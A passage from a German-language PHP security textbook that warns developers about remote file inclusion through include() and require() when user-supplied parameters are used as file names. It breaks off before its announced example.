Wichtig Falls Sie diese Klasse einsetzen möchten: Sie ist lediglich für den lokalen Dateisystemzugriff geeignet und kann keinesfalls mit Datei-URLs umgehen, denen ein Protokoll vorangestellt ist!
7.4
Dateiangaben als Parameter
Dieser Punkt wurde bereits in Kapitel 3 angesprochen, da er es zweifelsfrei unter die Top 10 der Fehler in PHP-Skripten geschafft hat. Hätte die Übernahme von Parametern als Dateiname keine so fatale Auswirkung, wäre das allerhöchstens schlechter Programmierstil – doch leider gehen die Konsequenzen, die aus dieser »Technik« entstehen, weit über das hinaus. Die Möglichkeiten, die sich einem Angreifer durch das Entdecken einer solchen Lücke innerhalb eines PHP-Skriptes bieten, sind dermaßen komplex, dass sie hier noch einmal gründlich beleuchtet werden sollen.
7.4.1 include, include_once, require und require_once include(), include_once(), require() und require_once() sind sehr mächtige Sprachkonstrukte; ihre Mächtigkeit wurde mit PHP Version 4.3 noch einmal verstärkt: Seit dieser Version ist es mit aktivierter allow_fopen_url-Option möglich, auch externe Dateien zu inkludieren.
Hinweis Hier ist stets von include()-Angaben die Rede, dies gilt natürlich auch für include_once(), require() und require_once()-Aufrufe Dies macht die Anweisungen auf den ersten Blick um einiges flexibler: Hat man mehrere Server, kann man so beispielsweise gemeinsam genutzte Code-Bibliotheken zentral auf einem System ablegen und diese per include von allen Servern, die von diesen Funktionen Gebrauch machen, einbinden.
Hinweis Sofern per HTTP-Protokoll auf diese Dateien zugegriffen wird, funktioniert das natürlich nur, wenn diese Dateien nicht auf dem Originalsystem geparst werden. Auf der anderen Seite bedeutet dies auch eine große Gefahr, wenn unbedacht Parameter als include-Parameter verwendet werden. Auf eine solche Idee könnte man zum Beispiel in einem multilingualen System kommen: